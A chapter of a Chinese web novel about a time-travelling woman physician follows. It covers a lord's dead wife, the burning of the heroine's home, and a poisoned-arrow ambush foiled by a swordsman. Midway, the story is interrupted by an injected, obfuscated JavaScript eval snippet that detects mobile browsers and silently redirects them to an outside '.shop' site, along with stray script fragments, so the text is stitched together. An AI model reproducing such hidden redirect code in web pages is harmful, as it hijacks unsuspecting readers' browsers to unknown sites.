文趣网 > 其他小说 > 江南第一医女 > 2. 你派我来的呀!
    两人纷纷被这突如其来的意外晃了眼睛,薛兰椒方才“恶向胆边生”的豪横模样被这么一晃,荡然无存。

    旋即俯身后撤,明亮的屋内,薛兰椒本就发亮的眸子此刻更是透出一股机灵劲儿,她颔首微低,退至一边。

    暖芒直入,萧陈磷脸上线条更显柔和,他面容格外隽秀,长了一双长而略狭的丹凤眼,眼尾似流水照山般轻佻,双眸如玄色墨石样深邃。

    只是一开口便碎了这世间难寻的好模样,只听他拖着一副漫不经心的腔调,冷言道:

    “你好大的胆子,来人,砍了她,砍到我看不出原本模样为止。”

    话音刚落,只听得“砰”一声,门外闯进来两名带刀侍卫,手中的剑磨得光滑发亮,不置一词,干脆利落地直奔薛兰椒而来。

    不是我有没有绑定重生系统啊,我还能活吗?

    不消几秒,两名侍卫就奔至薛兰椒身前,空中骤然划出一声撕裂般尖锐的鸣音,剑身已至颈边。

    “杀了我不要紧,只是如此便坐实世子杀妻之名,孰轻孰重,望世子多加考量。”

    薛兰椒开口的瞬间,萧陈磷抬手示意作罢,侍卫也极会看眼色地停下手中动作,竖起耳朵听候差遣。

    萧陈磷冷哼一声,端坐在已然没了气息的女子身前,欠身就是一脚,直踹向薛兰椒右腿小腿肚。

    薛兰椒只感觉小腿顿时传来一阵钝痛,接着便不受控制地跪倒在萧陈磷面前,头顶的帷帽陡然掉落。

    一头顺滑乌黑的秀发随之散落,衬着她本就娇俏的脸,更添凌乱之感。她疼得眼中含泪,抬眼直盯萧陈磷。

    语调似有泣意道:“世子疼爱妻子有加,满城皆知,只不过新妇刚来一月有余便横死于世子府内,即便世子光明磊落,却也难堵世人悠悠之口。”

    薛兰椒说完这句,方才于眼眶中盘旋的清泪却是再也留它不住,夺眶而出,还未等其滑至颊边,她抬手一把抹掉,哭腔肆意接着道:“若是留小女子一条命,那世子妃娘娘误将自己亲手所杀的真相,才能借‘薛仙医’之口为天下所知。”

    萧陈磷抬手掏了掏耳朵,轻“啧”一声,皱起两道粗细适中的剑眉,道:“什么意思,你说她是自杀?”

    薛兰椒点点头,从怀中拽出挎包,掏出一沓白麻纸,将其展开双手呈给萧陈磷:“这些是这几次来为娘娘问诊的用药记录,清晰记载了前两次用过少量玄参,而娘娘只道她求避子药汤,却不知她平时所用的求子药内含有肉桂,此物与玄参相克,寒热相交一月之余,娘娘平日本就思虑较多,更是因此气绝而亡。”

    沉默半响,看不出萧陈磷眼中混着阴郁的是何神情。

    突然,他回头看向床上早已冰冷僵硬的女子尸身,悲怆的眼神似乎要穿过尸体,抬手轻轻抚了抚女子已然皱得扭曲的眉头,长叹一声道:

    “阿霖是陛下亲自指婚许配给我的,于我而言是天赐的厚礼,而我却只与她有区区一月的缘分,无法享举案齐眉的乐事,实乃我之不幸啊!”

    说罢,一只长袂轻抹眼角,另一只手轻挥示意他们退下。

    薛兰椒勉力强撑着起身,右小腿的闷痛微麻之感悉数传来,一瘸一拐地推门离去。

    行至控马廊,她才敢长舒一口气,只是心依然如捣鼓般难以平静,她抬眼看向天边,日头俨然有西垂之势。

    将要黄昏了。

    薛兰椒须抓紧时间回到自己的居所,因为每每进京,阿翁便会泪眼婆娑地守在柴屋门口,一边抹泪一边泣不成声地嘱咐自己快些回来。

    若是耽搁久了,阿翁那小老头,定会连日不断地诉说着她让人担心啦之类的话。

    一个挺大岁数的老头,竟也做小男儿之态。

    薛兰椒合理怀疑,自己的泪失禁体质就是遗传了阿翁。

    但想到此,她心底又升起一道幸福之感——和其他穿越者不同,她是和自己的亲爷爷一起穿越而来的,只是来到这里,应该称“阿翁”。

    薛兰椒一想起此时此刻那小老头可能正梗起脖子遥首望远,身后的柴屋冒出屡屡炊烟,嘴角就控制不住地微微上扬。

    她熟练地解开栓马的麻绳,小腿上的痛感此时已不甚剧烈,只隐隐作痛,但她还是无法走快,缓缓踱步牵马走出京城。

    出了城门口,斜晖漫撒,天光橘黄。

    薛兰椒重新戴上帷帽,回头朝西南方世子府的方向狠狠“呸”了一声,小声骂道:“什么谁派你来的?不是你一月前亲自去我住所重金求我来的吗?要不是眼下这世道确实不好过,你以为我缺你这几两碎银啊。”

    ……

    所居之地距京都骑马需走两个时辰,她今日于世子府已然耽搁太久,腿痛又让她于城中无法快走,料想行至家中应是夜里。

    随即,薛兰椒跨步上马,夹紧马腹,疾驰而去。

    居所前有一缓坡,越过缓坡,便可见一木栏围住的简陋柴房,院落整洁干净,鸡狗相戏其中,旁边耕地种着清苦的药草。

    薛兰椒行至缓坡时,果然夜幕已然降临,天幕如瀑,遥遥铺于头顶。

    漫天的火光伴着还未烧完的灰烬从坡下滚滚升起,一道浓烈的煤烟之味直冲鼻腔。

    薛兰椒顾不得别的什么,策马冲到坡顶,眼前的景象让她瞳孔骤然紧缩成一个点,连呼吸都忘了。

    熟悉的院落早已不复存在,取而代之的只剩漫天火光和废墟一片,浓烟之中,被烧毁的木栏“滋滋啦啦”地高声悲泣,与阿翁共同制作的慢煎草药的小泥炉也被卷起的火舌烧得开裂坍塌。

    薛兰椒过人的听力在这熊熊烈火之中也让她无法听见丝毫阿翁的声音。

    她张开嘴用尽力气想要喊“阿翁”,却发现喉咙发紧,任凭怎么用力,再也发不出任何音调。身子一软,直直从马上跌落而下,眼前水汽不知何时早已模糊一片,她费力地伏在地上,起不了身,只好试图奋力向坡下爬去。

    她已全然顾不得思考,身下虽是缓坡,却也多生石砾尖草,若是不能起身,就势滚落也定会让她身负重伤。

    薛兰椒随手抓握住身边的一把劲草,想要借力起身,却在即将起身的瞬间,腿下一软,半跪在地。

    就在此刻,只听一支短箭擦着头顶呼啸而过,带起猎猎风声,头上帷帽瞬间被短箭洞穿刺下,巨大的惯性带动薛兰椒的身体向后仰去,身体不受控制地倒地,顺着缓坡即将滚落而下。

    但预想中被乱石丛刺痛全身的感觉没有出现,一双手强劲有力地环住她的腰肢,带着她凌空而起,薛兰椒的眼帘瞬间映入一遮面玄衣男子,只露出一双眼,此人眉心至左眉骨最高处蜿蜒出一道极长的疤痕。来不及细看,就已稳稳置于地面。

    落地后,眼前之人不疾不徐地挥剑挡在她身前,薛兰椒心中挂念着阿翁,连句道谢的话也来不及说,仅凭身体本能转身往火焰最高处跑去

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17631832|206392||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    那男人一边利落地挥剑挡下几支从远处射过来的箭,一边侧过脸厉声喝止:“回来!我看过,那里已经没人了!”

    薛兰椒的脚步骤然顿住,阿翁已不在了吗?要信他吗?但细想眼下情景,若是不信他,执意去找,不管此人是何目的,可能都会让他分心救我,万一他也被暗中之人杀害,反而不利。

    她不再继续前进半步,弯腰双手抓起一大片泥炉的碎片,将其挡于身前,紧紧跟在那人身后。

    箭雨暂时止息,缓坡两侧现出七八人影,皆覆面褐衣,为首之人举弓喝道:

    “来者何人?此事与你无关,休要多管闲事。”

    那人方才旋身击挡,箭箭应声而落,此刻竟然气不喘心不跳,语气未含半分招架不住之意,朗声答道:“拿人钱财,替人消灾。你说此事与我有没有关?”

    褐衣之人闻言,怔得身形肉眼可见地一抖,语调依旧高,可其中多了几分犹疑:“你是赏金杀手?”

    “在下晏泽,受人雇佣来取尔等狗命。”

    名为晏泽的玄衣男人一边答一边提剑上前,褐衣众人未等晏泽说完,皆面面相觑,随即未敢耽误一秒,转身就逃。

    晏泽身姿轻盈,手中之力却是势如破竹,一剑直取褐衣男人后脑,那人回手掣出袖中匕首堪堪挡下,却仍是难以接住这狠辣一剑,半跪在地。

    他目眦尽裂地问道:“晏泽,他究竟给了你多少银两?竟能派你出手。”

    晏泽似乎未用全力,依旧稳稳回答,语气里还多了几分戏谑:“黄金万两,设祠立碑。现在该你回答了,你是何人所派?”

    褐衣男子刚要张嘴,一股黑血适时从口中汩汩流出,表情扭曲,手上骤然脱力,脑袋一歪,就此倒地不起。

    再看远处逃跑的几人,皆伏地不起,各自身下一滩黑血。

    薛兰椒走上前,随手拾起褐衣男子身下的一支箭,箭身只有将近七寸,箭镞极薄而尖锐,制作得格外精良,箭头乌黑一片,似有液体涂抹其上。她端起短箭,就火光处细细看去,乌黑之中透出隐隐蓝色。

    “是乌头。这些人打算不留活口。”

    薛兰椒声音里满是极为克制的颤抖之意。远处雷鸣阵阵,似有一场暴雨将袭,她转头看向未发一言的晏泽。

    晏泽也正望向她,火光之中,眉骨的疤痕显得格外狰狞,但他看向薛兰椒的眸子里多出几分难以察觉的复杂意味,目光灼灼却似月下流水,尽显侠骨柔情。

    薛兰椒的眼眶里重新噙出泪水,从此山高水阔,从此客居他乡,她再也没有作伴的阿翁了。

    两个月,足够看出来这是一个何等可怖的封建王朝,自皇帝之下,以皇帝为首,各个追名逐利、困于稀碎得失,极尽精力地为一己私利,害得别人家破人亡,自己却独坐高台尽享荣华。

    薛兰椒周身笼罩着一层莫大的哀伤,她脚下的每一寸土地都承载往昔幸福的记忆,她一把抓过晏泽的臂膊,猛然间只觉天旋地转,意识尽数散失。

    于远处林间跃出三个同样覆面玄衣人,为首之人头戴面具,走近低头看向晏泽怀中已然昏迷的薛兰椒,伸出手轻探鼻息,接着沉声道:“刺客都死了吧。”

    晏泽点点头:“大人,共八人,皆中毒身亡。不出您所料,虽全部身着便衣,但也能确定是朝廷的人。”

    远处云层翻滚聚拢,雷声沉沉不绝,火焰将熄,烟尘四起。